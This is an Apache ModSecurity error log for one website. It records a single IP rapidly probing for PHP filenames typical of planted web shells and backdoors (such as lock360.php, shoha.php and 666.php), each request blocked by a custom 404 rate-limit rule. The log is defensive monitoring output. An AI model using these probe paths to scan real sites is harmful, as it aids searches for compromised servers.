[Fri Apr 03 01:37:58.485531 2026] [:error] [pid 25470:tid 25474] [client 20.215.208.34:64996] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dlu.php"] [unique_id "ac6pdnhROcck6_9HYygc4gAAAMI"]
[Fri Apr 03 01:37:59.111948 2026] [:error] [pid 25470:tid 25472] [client 20.215.208.34:63402] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dlu.php"] [unique_id "ac6pd3hROcck6_9HYygc6AAAAMA"]
[Fri Apr 03 01:37:59.633909 2026] [:error] [pid 25470:tid 25493] [client 20.215.208.34:61903] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dlu.php"] [unique_id "ac6pd3hROcck6_9HYygc7QAAANU"]
[Fri Apr 03 01:38:00.186798 2026] [:error] [pid 25470:tid 25476] [client 20.215.208.34:64900] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/555.php"] [unique_id "ac6peHhROcck6_9HYygc8QAAAMQ"]
[Fri Apr 03 01:38:00.734183 2026] [:error] [pid 25010:tid 25372] [client 20.215.208.34:64968] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/555.php"] [unique_id "ac6peI_KcjFQF5TuqTWrowAAABc"]
[Fri Apr 03 01:38:01.259366 2026] [:error] [pid 25035:tid 25453] [client 20.215.208.34:61858] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/555.php"] [unique_id "ac6peRhR292toNOkLqG4-AAAAIs"]
[Fri Apr 03 01:38:01.797401 2026] [:error] [pid 25010:tid 25356] [client 20.215.208.34:64953] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/555.php"] [unique_id "ac6peY_KcjFQF5TuqTWrqAAAAAg"]
[Fri Apr 03 01:38:02.379678 2026] [:error] [pid 25010:tid 25352] [client 20.215.208.34:61881] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mail.php"] [unique_id "ac6peo_KcjFQF5TuqTWrrwAAAAQ"]
[Fri Apr 03 01:38:02.994491 2026] [:error] [pid 25470:tid 25486] [client 20.215.208.34:64911] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mail.php"] [unique_id "ac6penhROcck6_9HYygc9gAAAM4"]
[Fri Apr 03 01:38:18.902578 2026] [:error] [pid 25010:tid 25349] [client 20.215.208.34:60027] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "ac6pio_KcjFQF5TuqTWr6AAAAAI"]
[Fri Apr 03 01:38:19.481952 2026] [:error] [pid 25470:tid 25491] [client 20.215.208.34:64942] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "ac6pi3hROcck6_9HYygdVAAAANM"]
[Fri Apr 03 01:38:20.042003 2026] [:error] [pid 25035:tid 25460] [client 20.215.208.34:61879] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "ac6pjBhR292toNOkLqG5GQAAAJI"]
[Fri Apr 03 01:38:20.554921 2026] [:error] [pid 25018:tid 25414] [client 20.215.208.34:59925] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "ac6pjHupR6lXnAUzFGr6ZwAAAEI"]
[Fri Apr 03 01:38:21.322521 2026] [:error] [pid 25470:tid 25492] [client 20.215.208.34:60616] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "ac6pjXhROcck6_9HYygdXQAAANQ"]
[Fri Apr 03 01:38:21.900996 2026] [:error] [pid 25035:tid 25464] [client 20.215.208.34:61868] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "ac6pjRhR292toNOkLqG5IgAAAJY"]
[Fri Apr 03 01:38:22.473056 2026] [:error] [pid 25470:tid 25484] [client 20.215.208.34:63485] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "ac6pjnhROcck6_9HYygdYgAAAMw"]
[Fri Apr 03 01:38:22.991183 2026] [:error] [pid 25470:tid 25492] [client 20.215.208.34:64981] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "ac6pjnhROcck6_9HYygdZgAAANQ"]
[Fri Apr 03 01:38:23.594785 2026] [:error] [pid 25010:tid 25367] [client 20.215.208.34:61853] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/manager.php"] [unique_id "ac6pj4_KcjFQF5TuqTWr9AAAABI"]
[Fri Apr 03 01:38:24.171789 2026] [:error] [pid 25470:tid 25487] [client 20.215.208.34:64933] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/manager.php"] [unique_id "ac6pkHhROcck6_9HYygdaQAAAM8"]
[Fri Apr 03 01:38:24.880099 2026] [:error] [pid 25470:tid 25490] [client 20.215.208.34:63423] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/manager.php"] [unique_id "ac6pkHhROcck6_9HYygdbQAAANI"]
[Fri Apr 03 01:38:25.454640 2026] [:error] [pid 25010:tid 25363] [client 20.215.208.34:60627] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/manager.php"] [unique_id "ac6pkY_KcjFQF5TuqTWr_QAAAA4"]
[Fri Apr 03 01:38:25.978845 2026] [:error] [pid 25010:tid 25362] [client 20.215.208.34:63398] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "ac6pkY_KcjFQF5TuqTWsAAAAAA0"]
[Fri Apr 03 01:38:26.491534 2026] [:error] [pid 25010:tid 25373] [client 20.215.208.34:64937] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "ac6pko_KcjFQF5TuqTWsBgAAABg"]
[Fri Apr 03 01:38:27.016280 2026] [:error] [pid 25010:tid 25367] [client 20.215.208.34:60572] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "ac6pk4_KcjFQF5TuqTWsCwAAABI"]
[Fri Apr 03 01:38:27.661041 2026] [:error] [pid 25035:tid 25461] [client 20.215.208.34:61861] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "ac6pkxhR292toNOkLqG5LwAAAJM"]
[Fri Apr 03 01:38:28.209533 2026] [:error] [pid 25035:tid 25465] [client 20.215.208.34:60594] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "ac6plBhR292toNOkLqG5MQAAAJc"]
[Fri Apr 03 01:38:28.834701 2026] [:error] [pid 25018:tid 25429] [client 20.215.208.34:59995] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "ac6plHupR6lXnAUzFGr6dwAAAFA"]
[Fri Apr 03 01:38:29.510078 2026] [:error] [pid 25470:tid 25474] [client 20.215.208.34:63435] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "ac6plXhROcck6_9HYygddwAAAMI"]
[Fri Apr 03 01:38:30.112316 2026] [:error] [pid 25010:tid 25355] [client 20.215.208.34:59503] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "ac6plo_KcjFQF5TuqTWsGQAAAAc"]
[Fri Apr 03 01:38:30.653881 2026] [:error] [pid 25035:tid 25452] [client 20.215.208.34:61917] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v2.php"] [unique_id "ac6plhhR292toNOkLqG5NwAAAIo"]
[Fri Apr 03 01:38:31.305840 2026] [:error] [pid 25010:tid 25362] [client 20.215.208.34:64930] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v2.php"] [unique_id "ac6pl4_KcjFQF5TuqTWsHwAAAA0"]
[Fri Apr 03 01:38:31.821137 2026] [:error] [pid 25470:tid 25490] [client 20.215.208.34:61945] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v2.php"] [unique_id "ac6pl3hROcck6_9HYygdiQAAANI"]
[Fri Apr 03 01:38:32.379805 2026] [:error] [pid 25470:tid 25481] [client 20.215.208.34:60666] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v2.php"] [unique_id "ac6pmHhROcck6_9HYygdjwAAAMk"]
[Fri Apr 03 01:38:32.890931 2026] [:error] [pid 25035:tid 25444] [client 20.215.208.34:63362] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-post.php"] [unique_id "ac6pmBhR292toNOkLqG5QAAAAII"]
[Fri Apr 03 01:38:33.445270 2026] [:error] [pid 25010:tid 25347] [client 20.215.208.34:63407] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-post.php"] [unique_id "ac6pmY_KcjFQF5TuqTWsJAAAAAA"]
[Fri Apr 03 01:38:34.079355 2026] [:error] [pid 25010:tid 25365] [client 20.215.208.34:60640] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-post.php"] [unique_id "ac6pmo_KcjFQF5TuqTWsJwAAABA"]
[Fri Apr 03 01:38:34.649023 2026] [:error] [pid 25018:tid 25428] [client 20.215.208.34:61901] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-post.php"] [unique_id "ac6pmnupR6lXnAUzFGr6hAAAAE8"]
[Fri Apr 03 01:38:35.182460 2026] [:error] [pid 25470:tid 25492] [client 20.215.208.34:61851] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shoha.php"] [unique_id "ac6pm3hROcck6_9HYygdmgAAANQ"]
[Fri Apr 03 01:38:35.768790 2026] [:error] [pid 25470:tid 25475] [client 20.215.208.34:60578] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shoha.php"] [unique_id "ac6pm3hROcck6_9HYygdnQAAAMM"]
[Fri Apr 03 01:38:36.315832 2026] [:error] [pid 25010:tid 25359] [client 20.215.208.34:60561] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shoha.php"] [unique_id "ac6pnI_KcjFQF5TuqTWsMQAAAAs"]
[Fri Apr 03 01:38:36.844853 2026] [:error] [pid 25010:tid 25365] [client 20.215.208.34:64940] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shoha.php"] [unique_id "ac6pnI_KcjFQF5TuqTWsMwAAABA"]
[Fri Apr 03 01:38:37.400203 2026] [:error] [pid 25470:tid 25475] [client 20.215.208.34:63421] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "ac6pnXhROcck6_9HYygdqAAAAMM"]
[Fri Apr 03 01:38:38.069536 2026] [:error] [pid 25018:tid 25411] [client 20.215.208.34:65005] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "ac6pnnupR6lXnAUzFGr6jQAAAEA"]
[Fri Apr 03 01:38:38.582550 2026] [:error] [pid 25470:tid 25490] [client 20.215.208.34:60651] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "ac6pnnhROcck6_9HYygdrQAAANI"]
[Fri Apr 03 01:38:39.096604 2026] [:error] [pid 25470:tid 25487] [client 20.215.208.34:60622] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "ac6pn3hROcck6_9HYygdswAAAM8"]
[Fri Apr 03 01:38:39.614510 2026] [:error] [pid 25470:tid 25488] [client 20.215.208.34:63382] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ac6pn3hROcck6_9HYygdtwAAANA"]
[Fri Apr 03 01:38:40.152338 2026] [:error] [pid 25010:tid 25367] [client 20.215.208.34:63484] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ac6poI_KcjFQF5TuqTWsQQAAABI"]
[Fri Apr 03 01:38:40.707786 2026] [:error] [pid 25470:tid 25481] [client 20.215.208.34:63387] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ac6poHhROcck6_9HYygdxAAAAMk"]
[Fri Apr 03 01:38:41.238382 2026] [:error] [pid 25018:tid 25412] [client 20.215.208.34:63408] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ac6poXupR6lXnAUzFGr6kgAAAEE"]
[Fri Apr 03 01:38:41.786605 2026] [:error] [pid 25470:tid 25475] [client 20.215.208.34:61920] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "ac6poXhROcck6_9HYygdzQAAAMM"]
[Fri Apr 03 01:38:42.313880 2026] [:error] [pid 25035:tid 25461] [client 20.215.208.34:64956] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "ac6pohhR292toNOkLqG5TAAAAJM"]
[Fri Apr 03 01:38:42.893257 2026] [:error] [pid 25018:tid 25424] [client 20.215.208.34:63458] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "ac6ponupR6lXnAUzFGr6mQAAAEs"]
[Fri Apr 03 01:38:43.434900 2026] [:error] [pid 25018:tid 25422] [client 20.215.208.34:63436] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "ac6po3upR6lXnAUzFGr6mwAAAEk"]
[Fri Apr 03 01:38:43.959512 2026] [:error] [pid 25010:tid 25354] [client 20.215.208.34:60631] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/akcc.php"] [unique_id "ac6po4_KcjFQF5TuqTWsTQAAAAY"]
[Fri Apr 03 01:38:44.504190 2026] [:error] [pid 25035:tid 25463] [client 20.215.208.34:63369] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/akcc.php"] [unique_id "ac6ppBhR292toNOkLqG5UgAAAJU"]
[Fri Apr 03 01:38:45.030508 2026] [:error] [pid 25035:tid 25464] [client 20.215.208.34:65023] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/akcc.php"] [unique_id "ac6ppRhR292toNOkLqG5VAAAAJY"]
